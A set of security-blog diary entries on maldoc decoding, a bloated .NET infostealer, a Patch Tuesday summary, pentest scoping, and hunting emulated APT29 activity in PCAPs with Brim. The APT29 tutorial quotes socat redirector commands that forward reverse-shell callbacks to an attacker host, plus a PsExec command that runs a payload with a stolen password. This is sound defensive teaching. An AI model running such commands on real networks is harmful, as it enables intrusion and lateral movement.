In the solution I presented last weekend for "Small Challenge: A Simple Word Maldoc", I forgot to address one point when converting and decoding the numbers in the VBA code with my tool numbers-to-string.py, you can see it here:

I did not explain where the string "Ono" came from.

And as I started to write a diary entry to explain this, I realized this would be much easier if my numbers-to-string.py tool had a verbose mode. So I implemented a verbose option, and will use it now to explain the decoding.

With verbose mode (-v), the decoded strings are preceded by the line from where the numbers were extracted, and the numbers themselves.

And in this screenshot, we can see that "Ono" comes from another line than the "LG = h(..." line. It comes from a line that contains 3 numbers, from the "words" system32, 1.exe and 0: 32, 1, 0.

But we are not interested in decoding the numbers from this line, because these numbers do not represented a hidden command.

By default, numbers-to-string.py looks for at least 3 numbers in a line. This can be changed with option -n. And that is what we will use to ignore this second line, by specifying that there must be at least 4 numbers:

I will show solutions with my tool xorsearch next week, leaving you time to post your decoding ideas for my tool xorsearch.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

4 Comments

Published: 2020-08-15

Wireshark 3.2.6 Released

Wireshark version 3.2.6 was released.

It has a vulnerability fix and bug fixes.

A vulnerability in the Kafka dissector (%%cve:2020-17498%%) can be abused to cause a crash.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-08-14

Definition of 'overkill' - using 130 MB executable to hide 24 kB malware

One of our readers, Lukas, shared an unusual malicious executable with us earlier this week – one that was 130 MB in size. Making executables extremely large is not an uncommon technique among malware authors[1], as it allows them to easily avoid detection by most AV solutions, since the size of files which AVs will check is usually fairly low (tens of megabytes at most). In order to increase the size of their creations, malware authors commonly embed images in the executables or include large chunks of “empty space” (i.e. null bytes) in them.

Authors of our executable, which turned out to be a Visual Basic .NET application originally called cvcv.exe, decided to use both techniques. They embedded 54 GIFs (or rather one GIF, which you may see bellow, with a healthy 1.12 MB size 54 times) among resources of the application and added more than 75 MB of null bytes after the end of the executable.

If all of this unnecessarily filled space was freed, the 130 MB executable would be just over 260 kB in size. The story doesn’t end there though.

.NET malware can sometimes be quite unpleasant and difficult to analyze, but after a while, it became clear that our executable only used elementary name obfuscation so it wasn’t too hard to get to the bottom of what it was supposed to do. The entire massive file turned out to be a simple injector for a second stage payload - another VB .NET executable, originally called j.exe, with a much smaller size of 24 kB.

This second executable was embedded (in an encrypted form) as another resource in the original EXE. After the massive application was executed, it would wait for 35 seconds, decrypt the second executable/payload using a simple XOR-based algorithm and then launch it.

The smaller executable turned out to surprisingly be a bit more complex then the large one. After it was executed, it would first ensure that the malware remained persistent. Doubly – it would copy the original massive file to the Start Menu Startup folder as “77e41643eabac0c55a13f8b8e793e845.exe” and to the AppData folder as “jossej.exe”. It would also create a new value in registry (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run) which would ensure that the latter file was executed at startup as well. It would then run the jossej executable which would reconfigure internet security zones and add an allow rule for itself to the Windows firewall.

The malicious process would then try to contact a server at the (DDNS) domain lexy[.]hopto[.]org.

The domain was inaccessible by the time of the analysis, so we can’t be completely sure what communication would follow. Going by the contents of the executable however, it would seem that the malware is supposed to function mainly as an infostealer/keylogger.

This would more or less agree with the results for the sample on Virus Total, as according to it, most AVs seem to detect the file as a version of Razy Trojan[2].

The following chart shows a summary of the main activities performed by the malware. As we may see, it is nowhere near as complex as it could have been for a 130 MB executable.

 

Indicators of Compromise (IoCs)

cvcv.exe / jossej.exe / 77e41643eabac0c55a13f8b8e793e845.exe (130 MB)
MD5 - f1c3d28ebaf180367591fa5d31e3febf
SHA1 - b1cfa019684fcd293eeca557aa523312837ea37d

j.exe (24 kB)
MD5 - 9690a3f2a3d0f84244d41e4aefae0a16
SHA1 - 4631ba4467eee1380f0e847c4f56dddbaed7196c

 

[1] https://isc.sans.edu/forums/diary/Picks+of+2019+malware+the+large+the+small+and+the+one+full+of+null+bytes/25718/
[2] https://www.virustotal.com/gui/file/5bf3830d0da0283fcdc2ab8183ab280458ab3638d1cae64a2b758208b77c52fa/detection

-----------
Jan Kopriva
@jk0pr
Alef Nula

1 Comments

Published: 2020-08-12

To the Brim at the Gates of Mordor Pt. 1

Search & Analyze Mordor APT29 PCAPs with Brim

Herein lies an opportunity to explore the dark in the name of light.
“Some believe that it is only great power that can hold evil in check. But that is not what I’ve found. I found it is the small things. Every day deeds by ordinary folk that keeps the darkness at bay.” ~Gandalf
These words ring ever true in the every day fight we face combatting cyber crime and Internet malfeasance. Two offerings come forth to join this fight and converge here to create ample learning opportunities.
Brim offers a new way to browse, store, and archive logs with their free and open source Brim Desktop app, as well as the ZQ command line execution engine and query language.
The Mordor project provides pre-recorded security events generated by simulated adversarial techniques, categorized by platforms, adversary groups, tactics and techniques defined by the MITRE ATT&CK FrameworkEvaluations, and Arsenal. MITRE really is the third protaganist in our epic, we owe them much as defenders of the realm.

As described on their website, Brim is for Wireshark users lost in a sea of packets, or analysts wanting to shed new light on Zeek data.
Per its project site, Mordor’s pre-recorded data represents specific known malicious events as well as related context/events. This is intentional to allow testing creative correlations across diverse data sources to enhance detection and reduce false positives. Mordor comes to you courtesy of two extremely dedicated security practitioners, Roberto Rodriguez @Cyb3rWard0g and Jose Luis Rodriguez @Cyb3rPandaH. The Cyb3rBr0th3rs just dropped a load of knowledge at Defcon’s Blue Team Village, and their GitHub repo has been updated accordingly. You may recall that we’ve enjoyed ourselves to great length courtesy of @Cyb3rWard0g‘s HELK project as covered in 2018’s issues #131 and #132.
Meanwhile, the Brim team is hard at work evolving their offerings beyond their solid desktop client. Per Brim Security‘s Phil Rzewski, zar is a CLI tool that represents their first step in scaling beyond the desktop using “micro-indexes” to help locate chunks of data in a long tail of archived logs. The zar README walks through some operations in a manner written for an audience that nerds out on things like indexing implementations and big data concepts. Sounds about right for us. Meanwhile, their zq CLI offering is getting a boost to read/write logs and archives to/from Amazon S3. We’ll cover zq, zar, zql, and zng extensively in Part 2 of our journey to return the ring to the fires of Mount Doom. By the way, for you metal heads in the audience, I’m raging to Amon Amarth as I write this. Oh, the Middle-earth madness. ;-)
The Mordor project includes a robust APT29-emulated dataset with related PCAPs that make perfect fodder for Brim, and it is there we first face the Beornings (sorry, I can’t help myself…APT29 == Cozy Bear == Beorn…nevermind).
Brim is incredibly staightforward to download and install, no need to dally there.
Mordor’s APT29 dataset is broken up into two days of simulation scenarios.
Your first best action is to read up on the APT29 datasets, which gives you the full breakdown on the adversary group, their behaviors, and the applicable ATT&CK evaluation data points. You should also download the Emulation Plan, apt29.xlsx as it provides a bit of play by play for our Brim tests.
A bit about the scenarios. Day 1 and Day 2 are each 10 steps in multiple parts, with details about actions executed, again, in emulation of APT29. The Mordor project execution of each of these scenarios resulted in PCAPs (Day 1Day 2) that we will simply drag and drop right into Brim.
Before we begin, a bit about the systems in play for these simulations:

Attack Platforms
192.168.0.4 Pupy RAT & WebDAV
192.168.0.5 Redirector

Targets
SCRANTON: 10.0.1.4
UTICA: 10.0.1.5
NASHUA: 10.0.1.6
NEWYORK: 10.0.0.4

We’ll note a variety of actions across these hosts. As such, Figure 1 indicates the ease of loading Brim for use.

Load Brim

Figure 1: Brim loading PCAPs

The most important thing to note is that, even thought you’re loading PCAPs, Brim presents the content to you in Zeek (formerly Bro) log file principles. As such, you can expect the likes of conn, weird, http, dns, kerberos, smb_files, and others. Figure 2 is the result of a generic wildcard query of the Day 2 SCRANTON PCAP, as an example.

Generic view

Figure 2: Generic Brim view

Search syntax with Brim is very SQL-like, zql to be specific. Very simple queries often yield immediate results as well.
Consider the APT29 Day 1 Red Team setup where 192.168.0.5 is set up as redirector with a variety of socat listeners:

sudo socat TCP-LISTEN:443,fork TCP:192.168.0.4:443 & sudo socat TCP-LISTEN:1234,fork TCP:192.168.0.4:1234 & 
sudo socat TCP-LISTEN:8443,fork TCP:192.168.0.4:8443 &

These port forwarding commands are run on the redirector (192.168.0.5) in order to forward any callbacks over ports 443, 1234, and 8443 to the attacker platform (192.168.0.4). As part of Step 1.A a maldoc is executed on the first victim which then sends a reverse shell to the Pupy C2 server. We see that connection via the Day 1 SCRANTON PCAP with a search as simple as 1234, as seen in Figure 3.

Simple query

Figure 3: Simple query result

SCRANTON (10.0.1.4) is seen connecting back to the redirector (192.168.0.5) as described.
Given that SCRANTON is clearly victimized now, what other evidence can we establish? APT29 and their ilk are likely to move compressed files about. Per the Day 1 steps, compressed files figure heavily in the day’s activity. Again, using the SCRANTON PCAP, let’s see what files AND compressed yields. Figure 4 yields the result.

Compressed files

Figure 4: A search for compressed files in transit

We see that SCRANTON (10.0.1.4) pushed a compressed file back to the Pupy attack platform (192.168.0.4). This behaviors are in keeping with ATT&CK Evaluations, per the APT29.xlsx spreadsheet, as follows:
The attacker then collects files (T1005), which are compressed (T1002) and encrypted (T1022), before being exfiltrated to an attacker-controlled WebDAV share (T1048). Note that, per the description of the attack platform (192.168.0.4) a WebDAV share has been enabled. Exploring that thread a bit more, we discover more in the SCRANTON PCAP. webdav | count() by uri | sort -r count returns ample evidence of the WebDAV share in use on Day 1, as seen in Figure 5.

WebDAV share

Figure 5: WebDAV share in use

We note that in the emulation plan for Day 1, under Step 8.A - Lateral Movement, the arsenal includes: 

[user@attacker]# cp attack-evals/apt29/day1/payloads/python.exe /var/www/webdav/ [user@attacker]# cd /var/www/webdav
[user@attacker]# chown -R www-data:www-data python.exe

We clearly see that in play per Figure 5.
The use of python.exe seems like an interesting pivot point for an analyst/hunter/responder to make a turn on. Given that lateral movement is inherent in these scenarios, particulaly where APT29 is concerned, we know that NASHUA (10.0.1.6) is the other Day 1 victim. Given evidence of python.exe in Figure 5, let’s see what transactions may have occured between SCRATON and NASHUA indicating lateral movement, using Mordor’s NASHUA PCAP. Using a combination of glob wildcards and the pattern matching operator =~ we can hone a pretty specific query based on existing indicators.
id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files AND name=~*python*
Figure 6 reveals behavior consistent with the scenarios and APT29 behavior.

Payload

Figure 6: Remote payload execution

This result matches perfectly with the ATT&CK Scenario, specifically Step 8.C - Lateral Movement:
.\PsExec64.exe -accepteula \\<victim 2 IP> -u "domainName\username" -p P@ssw0rd -i <session ID from 8A> "C:\Windows\Temp\python.exe"

Pulling the query back out a bit, id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files reveals other related mayhem as seen in Figure 7.

File actions

Figure 7: Additional file actions

Indeed, further file opens and deletes via psexec are noted here. Per the handy APT29 spreadsheet this all follows suit with lateral movement via Windows admin shares, service execution, and the use of valid accounts. More specifically, the “new payload is executed on the secondary victim via the PSExec utility (T1077, T1035) using the previously stolen credentials (T1078).” Man, I love the MITRE ATT&CK Attack Arsenal.
Finally, in case you had any doubt that PSEXEC was in use here, Brim offers direct-to-Wireshark functionality in case you’d like to inspect the related capture(s) more closely. Double click on the log entry of interest, this will spawn an Brim Log Detail window. In the upper right corner of this new window, click ye olde blue shark fin and off you go to Wireshark. I opted for the basic Follow TCP Stream and dumped the SysInternal EULA, so I think we’re in the right place. ;-)

Wireshark

Figure 8: Additional file actions

You can also call Wireshark as such from the main tab view in the Brim GUI. We’ll pause our journey here, and resume with Day 2 of the APT29 scenarios, spending more time with zq, zar, zql, and zng from Brim, in Part 2 of this adventure.
Meanwhile, download Mordor, download Brim, and familiarize yourself with all the related MITRE resources. Brim is a strong project in progress, and the Cyb3rBr0th3rs are guaranteed to keep adding content to the Mordor project as just seen with their new Blue Team Village content post-Def Con. Can’t wait to see more.
These project developers and operators are all interested in your feedback or suggestions, engage readily via social media, and want only your success in your battles against evil. Reach out to them as needed, and be sure to shoot any questions you may have my way as well. Always there for you via russ @ holisticinfosec dot io or @holisticinfosec.
Namárië.

Cheers…until next time.

0 Comments

Published: 2020-08-11

Microsoft August 2020 Patch Tuesday

This month we got patches for 120 vulnerabilities total. According to Microsoft, two of them are being exploited (CVE-2020-1380 and CVE-2020-1464), and one was previously disclosed (CVE-2020-1464).

The previously known and already exploited vulnerability (CVE-2020-1464) is a Windows Spoofing Vulnerability, which may cause incorrect signature validation for files. An attacker could exploit this vulnerability to bypass security features and load improperly signed files.

The other exploited vulnerability (CVE-2020-1380) is a remote code execution (RCE) affecting Internet Explorer. It is related to the way the script engine handles objects in memory. An attacker who exploits this vulnerability could gain the same user privileges on the system.

The highest CVSS score this month (8.80) was associated with three vulnerabilities: CVE-2020-1509, CVE-2020-1585, and CVE-2020-1472. The CVE-2020-1509 is an LSASS Elevation of Privilege Vulnerability. An authenticated attacker could exploit this vulnerability by sending a specially crafted authentication request. The CVE-2020-1585 is a Microsoft Windows Codecs Library RCE Vulnerability. An attacker could exploit this vulnerability opening a specially crafted image file and take control of the affected system.

The third CVSS 8.80 (CVE-2020-1472) is a Netlogon Elevation of Privilege Vulnerability and is a little bit trickier to patch. An unauthenticated attacker would be required to use the Netlogon Remote Protocol (MS-NRPC) to connect to a domain controller to obtain domain administrator access. Microsoft is addressing this vulnerability in a two-part phase rollout and requires additional steps in addition to applying the updates. The second phase of the update will be available in February 2021. There is a special guideline on how to manage changes required for this vulnerability at https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Remote Code Execution Vulnerability
%%cve:2020-1046%% No No Less Likely Less Likely Critical    
ASP.NET Core Denial of Service Vulnerability
%%cve:2020-1597%% No No Less Likely Less Likely Important    
ASP.NET and .NET Elevation of Privilege Vulnerability
%%cve:2020-1476%% No No Less Likely Less Likely Important    
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-1511%% No No Less Likely Less Likely Important 7.8 7.0
DirectWrite Information Disclosure Vulnerability
%%cve:2020-1577%% No No Less Likely Less Likely Important 5.5 5.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-1479%% No No Less Likely Less Likely Important 7.0 6.3
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1473%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1557%% No No Less Likely Less Likely Important    
%%cve:2020-1558%% No No Less Likely Less Likely Important    
%%cve:2020-1564%% No No Less Likely Less Likely Important    
Local Security Authority Subsystem Service Elevation of Privilege Vulnerability
%%cve:2020-1509%% No No Less Likely Less Likely Important 8.8 7.9
MSHTML Engine Remote Code Execution Vulnerability
%%cve:2020-1567%% No No More Likely More Likely Critical 6.4 5.8
Media Foundation Information Disclosure Vulnerability
%%cve:2020-1487%% No No Less Likely Less Likely Important 5.5 5.0
Media Foundation Memory Corruption Vulnerability
%%cve:2020-1525%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1379%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1477%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1478%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1492%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1554%% No No Less Likely Less Likely Critical 8.0 7.6
Microsoft Access Remote Code Execution Vulnerability
%%cve:2020-1582%% No No Less Likely Less Likely Important    
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-1591%% No No - - Important    
Microsoft Edge Memory Corruption Vulnerability
%%cve:2020-1569%% No No - - Important 4.2 3.8
Microsoft Edge PDF Remote Code Execution Vulnerability
%%cve:2020-1568%% No No - - Critical 4.2 3.8
Microsoft Excel Information Disclosure Vulnerability
%%cve:2020-1497%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-1494%% No No Less Likely Less Likely Important    
%%cve:2020-1495%% No No Less Likely Less Likely Important    
%%cve:2020-1496%% No No Less Likely Less Likely Important    
%%cve:2020-1498%% No No Less Likely Less Likely Important    
%%cve:2020-1504%% No No - - Important    
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-1561%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1562%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office Click-to-Run Elevation of Privilege Vulnerability
%%cve:2020-1581%% No No Less Likely Less Likely Important    
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-1563%% No No Less Likely Less Likely Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1573%% No No Less Likely Less Likely Important    
%%cve:2020-1580%% No No Less Likely Less Likely Important    
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2020-1493%% No No Less Likely Less Likely Important    
Microsoft Outlook Memory Corruption Vulnerability
%%cve:2020-1483%% No No Less Likely Less Likely Critical    
Microsoft SQL Server Management Studio Denial of Service Vulnerability
%%cve:2020-1455%% No No - - Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-1505%% No No Less Likely Less Likely Important    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1499%% No No Less Likely Less Likely Important    
%%cve:2020-1500%% No No Less Likely Less Likely Important    
%%cve:2020-1501%% No No Less Likely Less Likely Important    
Microsoft Windows Codecs Library Remote Code Execution Vulnerability
%%cve:2020-1560%% No No - - Critical 7.3 6.6
%%cve:2020-1574%% No No Less Likely Less Likely Critical 7.3 6.6
%%cve:2020-1585%% No No - - Critical 8.8 7.9
Microsoft Word Information Disclosure Vulnerability
%%cve:2020-1502%% No No Less Likely Less Likely Important    
%%cve:2020-1503%% No No Less Likely Less Likely Important    
%%cve:2020-1583%% No No Less Likely Less Likely Important    
Netlogon Elevation of Privilege Vulnerability
%%cve:2020-1472%% No No Less Likely Less Likely Critical 8.8 7.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1380%% No Yes - - Critical 6.4 5.8
%%cve:2020-1555%% No No - - Critical    
%%cve:2020-1570%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2020-0604%% No No Less Likely Less Likely Important    
Win32k Information Disclosure Vulnerability
%%cve:2020-1510%% No No Less Likely Less Likely Important 5.5 5.0
Windows ARM Information Disclosure Vulnerability
%%cve:2020-1459%% No No Less Likely Less Likely Important 5.5 5.0
Windows Accounts Control Elevation of Privilege Vulnerability
%%cve:2020-1531%% No No Less Likely Less Likely Important 7.8 7.0
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2020-1587%% No No More Likely More Likely Important 7.8 7.0
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2020-1488%% No No Less Likely Less Likely Important 7.8 7.0
Windows Backup Engine Elevation of Privilege Vulnerability
%%cve:2020-1535%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1536%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1539%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1540%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1541%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1542%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1543%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1544%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1545%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1546%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1547%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1551%% No No Less Likely Less Likely Important 7.8 7.0
Windows Backup Service Elevation of Privilege Vulnerability
%%cve:2020-1534%% No No Less Likely Less Likely Important 7.8 7.0
Windows CDP User Components Elevation of Privilege Vulnerability
%%cve:2020-1549%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1550%% No No Less Likely Less Likely Important 7.8 7.0
Windows CSC Service Elevation of Privilege Vulnerability
%%cve:2020-1489%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1513%% No No Less Likely Less Likely Important 7.8 7.0
Windows Custom Protocol Engine Elevation of Privilege Vulnerability
%%cve:2020-1527%% No No Less Likely Less Likely Important 7.8 7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-1565%% No No Less Likely Less Likely Important    
Windows File Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2020-1517%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1518%% No No Less Likely Less Likely Important 7.8 7.0
Windows Font Driver Host Remote Code Execution Vulnerability
%%cve:2020-1520%% No No Less Likely Less Likely Important 7.8 7.0
Windows Function Discovery SSDP Provider Elevation of Privilege Vulnerability
%%cve:2020-1579%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Elevation of Privilege Vulnerability
%%cve:2020-1529%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-1480%% No No More Likely More Likely Important 7.8 7.0
Windows Hard Link Elevation of Privilege Vulnerability
%%cve:2020-1467%% No No Less Likely Less Likely Important 7.8 7.0
Windows Image Acquisition Service Information Disclosure Vulnerability
%%cve:2020-1474%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1485%% No No Less Likely Less Likely Important 5.0 4.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1486%% No No Less Likely Less Likely Important    
%%cve:2020-1566%% No No More Likely More Likely Important    
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1578%% No No More Likely More Likely Important 5.5 5.0
Windows Media Remote Code Execution Vulnerability
%%cve:2020-1339%% No No Less Likely Less Likely Critical 7.3 6.6
Windows Network Connection Broker Elevation of Privilege Vulnerability
%%cve:2020-1526%% No No Less Likely Less Likely Important 7.8 7.0
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2020-1337%% No No Less Likely Less Likely Important 7.8 7.0
Windows RRAS Service Information Disclosure Vulnerability
%%cve:2020-1383%% No No Less Likely Less Likely Important 5.5 5.0
Windows Radio Manager API Elevation of Privilege Vulnerability
%%cve:2020-1528%% No No Less Likely Less Likely Important 7.8 7.0
Windows Registry Elevation of Privilege Vulnerability
%%cve:2020-1377%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1378%% No No Less Likely Less Likely Important 7.8 7.0
Windows Remote Access Elevation of Privilege Vulnerability
%%cve:2020-1530%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1537%% No No Less Likely Less Likely Important 7.8 7.0
Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
%%cve:2020-1466%% No No - - Important 7.5 6.7
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1553%% No No Less Likely Less Likely Important 7.8 7.0
Windows Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2020-1475%% No No Less Likely Less Likely Important 7.0 6.3
Windows Setup Elevation of Privilege Vulnerability
%%cve:2020-1571%% No No Less Likely Less Likely Important 7.8 7.0
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2020-1521%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1522%% No No Less Likely Less Likely Important 7.8 7.0
Windows Speech Shell Components Elevation of Privilege Vulnerability
%%cve:2020-1524%% No No Less Likely Less Likely Important 7.8 7.0
Windows Spoofing Vulnerability
%%cve:2020-1464%% Yes Yes Detected Detected Important 5.3 5.1
Windows State Repository Service Information Disclosure Vulnerability
%%cve:2020-1512%% No No Less Likely Less Likely Important 5.5 5.0
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2020-1490%% No No Less Likely Less Likely Important 7.0 6.3
Windows Telephony Server Elevation of Privilege Vulnerability
%%cve:2020-1515%% No No Less Likely Less Likely Important 7.8 7.0
Windows UPnP Device Host Elevation of Privilege Vulnerability
%%cve:2020-1519%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1538%% No No Less Likely Less Likely Important 7.8 7.0
Windows WaasMedic Service Information Disclosure Vulnerability
%%cve:2020-1548%% No No Less Likely Less Likely Important 7.8 7.0
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2020-1533%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1556%% No No Less Likely Less Likely Important    
Windows Work Folder Service Elevation of Privilege Vulnerability
%%cve:2020-1552%% No No Less Likely Less Likely Important    
Windows Work Folders Service Elevation of Privilege Vulnerability
%%cve:2020-1470%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1516%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1484%% No No Less Likely Less Likely Important 7.8 7.0
Windows dnsrslvr.dll Elevation of Privilege Vulnerability
%%cve:2020-1584%% No No More Likely More Likely Important 7.8 7.0

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

3 Comments

Published: 2020-08-10

Scoping web application and web service penetration tests

Before starting any penetration test, the most important part is to correctly scope it – this will ensure that both the client’s expectations are fulfilled and that enough time is allocated to make sure that the penetration test is correctly performed.

In this diary I will not dive into particular activities that need to be performed as part of a penetration test – for a high-level (hey, it’s management speak) overview please check one of my older diaries at Getting (proper) value out of security assessments

This diary should (I hope) be interesting no matter on which side you are: a client purchasing penetration tests or a penetration tester.

Web applications

Now that we got differences between a vulnerability scan and a penetration test out of our way, let’s talk a bit about penetration testing web applications (and web services). Since the main difference between a vulnerability scan and a penetration test is the human factor, penetration test engagements should normally be scoped according to complexity of the target application. This will directly influence amount of time that needs to be invested into properly verifying a web application.

When I’m scoping web application penetration tests, the following two questions are most important for me:

  1. The total number of pages/screens, as well as the percent (or number) of the total number of web forms (pages) which require user interaction.
    This is probably the most important parameter – when penetration testing a web application what we are interested in are all dynamic parts, generally those that result in an HTTP request, which will allow us to change something.
    This makes sense – if our web server is hosting 10 million images and static HTML web pages there is not much we can do (we’ll still check infrastructure etc).
    However, if our web application consists of hundreds of dynamic web pages/screens then in theory we should check all of them. And remember, we are talking about a penetration test – while we will (and should) use tools, a lot of activity will be inevitably manual, since there is no other way to find logic flaws – tools will not find such vulnerabilities, which are often the most devastating ones.
  2. Number and type of user roles.
    Depending on our application, there could be multiple user roles with various permissions assigned. Again, if possible, every role should be tested – we need to confirm that the application correctly implements “horizontal” security (meaning: I cannot retrieve another user’s data) and “vertical” security (meaning: I cannot escalate my privileges or access something that a higher privileged role should only access).

Both of these factors will directly influence how many hours or man-days we need to spend when penetration testing a web application (or any application really). Of course, we need some realistic expectations set here as well – when we need to assess a huge application, typically we will want to enumerate endpoints since it is quite possible that numerous web pages/screens consume a single endpoint. If that is not the case we will need to identify those components which are priority.

If you are on a client’s side – this should help you assess offers as well: if you receive an offer that does not have enough time budgeted then really you are not getting a penetration test but at best a web application security scan with a little bit of manual work.

This might be OK too – as long as you know what you are getting – but keep in mind that no tool will identify logic flaws. If you want to see a few cool logic flaws check my SANS@MIC Talk “Arcane web and mobile application vulnerabilities” that was recorded at https://www.youtube.com/watch?v=uj5grEtXfh4

Another good thing to check here is what tools are being used to perform such a penetration test. Besides a web application vulnerability scanner, in order to manually modify requests an interception proxy will be needed so it is mandatory for your penetration tester to use a tool such as Burp Suite or OWASP ZAP (and we cover both in SEC542!).

Below you can see me bashing the SANS ISC web site (/me waves to Johannes).

Web services

Testing web services is actually not too different from testing web applications, but the main challenge is in the workflow of how the target web services are consumed.

With web services there will typically be one account that is used (although it’s possible to have different roles, of course), so the main parameter for assessment of required engagement will be the number of endpoints, specifically methods and (if possible) number of parameters per method.

Once we receive this information it will be easier to assess how many hours or man-days need to be invested in testing the target web services. So how do we approach this? 

In the best scenario, the client will provide us with a Swagger file or Postman collection. These files will contain description of all endpoints and parameters they accept so testing will be easier. Besides this, always (and I mean always) ask for documentation about the web service workflows. What do I mean by this: it could be possible that certain endpoints must be consumed in a certain order – if you do not do this, you simply get back errors. Which also means that if you just blindly run a scanner against the list of API’s you really won’t get much (and this is why we are talking about penetration tests here).

Once you have this information the rest is basically very similar to a web application penetration test. What the majority of penetration testers will do is run Postman (which is also a free tool) and configure it to send requests through an interception proxy (Burp Suite or OWASP ZAP as mentioned above). Postman will then be used to “seed” the requests so our interception proxy can see them and we can use the interception proxy now to continue testing the target web service.

The figure below shows Postman configured with the PSD2 collection that contains all requests needed to consume PSD2 web services (if you are in the banking sector you are certainly familiar with PSD2, if not and you want to read more here is a starter).

Notice how all parameters are nicely defined in Postman – all that is needed now is to properly fill them in, send the required requests to our intercepting proxy and we are good to go.

We talk about all of this in SEC542: Web App Penetration Testing and Ethical Hacking and if you found the topic interesting let us know here.
 

--
Bojan
@bojanz
INFIGO IS

0 Comments

Published: 2020-08-09

Small Challenge: A Simple Word Maldoc - Part 2

There are many interesting solutions to my "Small Challenge: A Simple Word Maldoc" diary entry: static analysis solutions, dynamic analysis and even a combination of both. You can find them in the comments and on Twitter.

When you look at the code above, I'm sure you will notice the long string of numbers (separated by % characters) and think: this must be the encoded command/url.

Sequences of numbers like these have appeared in malicious documents for many, many years. That's why I have my own tool to help me with decoding these numbers: numbers-to-string.py.

numbers-to-string.py is a tool that takes text as input, and searches for lines with 3 numbers at least (default). For each such line, it will extract all the numbers, convert them to characters, and output the result. Like this:

The output above doesn't help us much. numbers-to-string converted each number to its corresponding ASCII character, but it looks like the numbers have also been encoded, because we see many unprintable characters.

If you look at the VBA source code, you might notice an expression with Xor 111. This is a strong indication that the numbers have been xor-encoded, using single-byte key 111.

This can be easily tested with numbers-to-string: my tool also takes a Python expression as argument, to be applied for each number. Python expression "n ^ 111" will perform an Xor operation with value 111 on each number, before converting it to characters.

This does indeed reveal the command:

In an upcoming diary entry, I will show how you can also try to decode the obfuscated command, if you don't use the VBA source code to guide you (hint: it involves my tool xorsearch).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-08-08

Scanning Activity Include Netcat Listener

